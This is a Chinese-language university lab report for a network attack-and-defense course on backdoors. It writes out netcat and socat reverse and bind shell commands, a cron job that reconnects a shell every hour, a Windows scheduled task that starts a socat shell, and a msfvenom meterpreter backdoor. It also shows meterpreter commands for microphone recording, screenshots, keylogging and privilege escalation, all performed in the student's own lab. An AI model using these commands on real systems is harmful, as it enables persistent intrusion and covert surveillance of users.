2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践
一、实验内容 (3.5分)
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:在一些网站下载应用程序时,该应用程序可能绑定了一些可执行文件,留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Linux可以通过crontab功能将木马设为定时启动或通过对正常软件的绑定注入shellcode达到开启后门的目的。
(3)Meterpreter有哪些给你映像深刻的功能?
答:植入后门实施远程控制、metsvc后渗透攻击模块等等。
(4)如何发现自己有系统有没有被安装后门?
答:查看是否有IP与本机建立连接;安装专门的杀毒软件,定期检测电脑安全情况等等。
二、实验具体步骤
实验一
任务一 使用netcat获取主机操作Shell
1、在Windows下打开命令行,查看Windows的ip地址为:
2、使用ncat.exe程序打开监听ncat.exe -l -p 5236:
3、在kali中反弹连接Windows,nc 172.30.0.142 5236 -e /bin/sh:
4、Windows成功获得kali的shell,如图所示:
任务二 Linux获得Windows Shell
1、在Kali环境中使用ifconfig查看ip:
2、使用nc指令监听5236端口:
3、在Windows中反弹连接kali,输入ncat.exe -e cmd.exe 172.30.5.29 5236,
4、kali成功获得Windows的命令提示,输入Windows命令:
任务三 使用nc传输数据
1、Windows下监听5236端口:
2、Kali下连接到Windows的5236端口,nc 192.168.43.44 5236,
3、建立连接,传输数据,但这个过程中我遇到了点问题如下,但是查阅相关资料后目前还未解决:
实验二
任务一 使用netcat获取主机操作Shell,cron启动
1、在Windows系统下,监听5236端口:
2、用crontab -e指令编辑一条定时任务,选择编辑器选择3,在底行插入04 * * * * /bin/netcat 172.30.0.142 5236 -e /bin/sh,
意思是每个小时的第4分钟反向连接Windows的5236端口:
3、保存退出后输入crontab -l 即可查看:
4、在系统时间到第4分钟,就会在Windows中监听的cmd中发现获得Linux shell:
任务二 使用socat获取主机操作Shell, 任务计划启动
1、控制面板中打开系统与安全,选择任务计划程序并创建任务,
2、常规中填写任务名称学号:20165236,新建触发器 ,选择:工作站锁定时:
3、点击操作,在程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr:
4、创建完成之后,按Windows+L锁定计算机,再次打开,之前创建的任务已经开始运行:
5、在Kali-Linux中输入指令socat - tcp:172.30.0.142:5236:
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、在kali中输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.0.142 LPORT=5236 -f exe > 20165236_backdoor.exe,
生成后门程序:
2、在Windows中输入:nc.exe -l 5236 > 20165236_backdoor.exe :
3、Linux中执行nc 172.30.0.142 5236 < backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP,
4、在Windows的ncat文件夹下查看后门程序,如图所示,文件传输成功:
5、在Kali中打开一个终端,使用msfconsole指令进入msf控制台:
6、接着输入use exploit/multi/handler使用监听模块,设置payload;
7、set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
8、set LHOST 172.30.0.142,这里用的是LinuxIP,和生成后门程序时指定的IP相同;
9、set LPORT 5236,同样要使用相同的端口:
这里出了点问题,目前尚未解决:
任务四
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1、使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间:
2、 使用screenshot指令可以进行截屏:
3、使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
4、使用getuid指令查看当前用户,或getsystem指令进行提权等等:
三、实验过程中遇到的问题
1、如图所示:
询问同学后得知解决方法为:双击后再运行。
2、在Kali中使用msfconsole指令进入msf控制台后,出现如下界面:
原因是后台程序过多,内存不够;
解决方法:关闭虚拟机,将内存调高后重启虚拟机。
四、实验体会
本次实验为网络对抗第二次实验,相对于第一次实验内容较多,过程也较为复杂。其中也出现许多新的知识,以及许多我不太懂的地方。
在询问老师同学和查阅资料后这些问题也一一解决了,并且顺利完成了本次实验。虽然实验过程中存在许多困难,但我依然从中收获了许多新知识。